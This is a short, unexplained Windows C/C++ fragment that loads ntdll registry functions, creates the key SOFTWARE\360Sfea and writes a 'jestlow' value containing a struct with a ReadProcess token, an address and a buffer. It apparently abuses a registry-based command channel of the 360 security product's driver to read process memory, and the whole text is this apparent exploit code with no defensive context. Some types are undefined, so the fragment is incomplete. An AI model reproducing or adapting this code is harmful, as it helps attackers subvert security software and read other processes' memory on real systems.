HMODULE NtDll = GetModuleHandle(L"ntdll.dll");
if (NtDll)
{
ZwCreateKey = (ZWCREATEKEY)GetProcAddress(NtDll,"ZwCreateKey");
ZwSetValueKey = (ZWSETVALUEKEY)GetProcAddress(NtDll, "ZwSetValueKey");
ZwClose = (ZWCLOSE)GetProcAddress(NtDll, "ZwClose");
}
HANDLE KeyHandle = NULL;
OBJECT_ATTRIBUTES oa = { 0 };
UNICODE_STRING uniKeyCreateName;
RtlInitUnicodeString(&uniKeyCreateName, L"\\REGISTRY\\Machine\\SOFTWARE\\360Sfea");
InitializeObjectAttributes(&oa, &uniKeyCreateName, 0, NULL, NULL);
ULONG status = ZwCreateKey(&KeyHandle, KEY_ALL_ACCESS, &oa, 0, NULL, 0, NULL);
UNICODE_STRING ValueName;
RtlInitUnicodeString(&ValueName,L"jestlow");
DWORD Buffer=0x66666666;
TongL_PROCESS data = { 0 };
data.Token = ReadProcess;
data.Address = NtDll;
data.buf = &Buffer;
data.Size = 4;
status = ZwSetValueKey(KeyHandle, &ValueName, 0, REG_BINARY, &data, sizeof(TongL_PROCESS));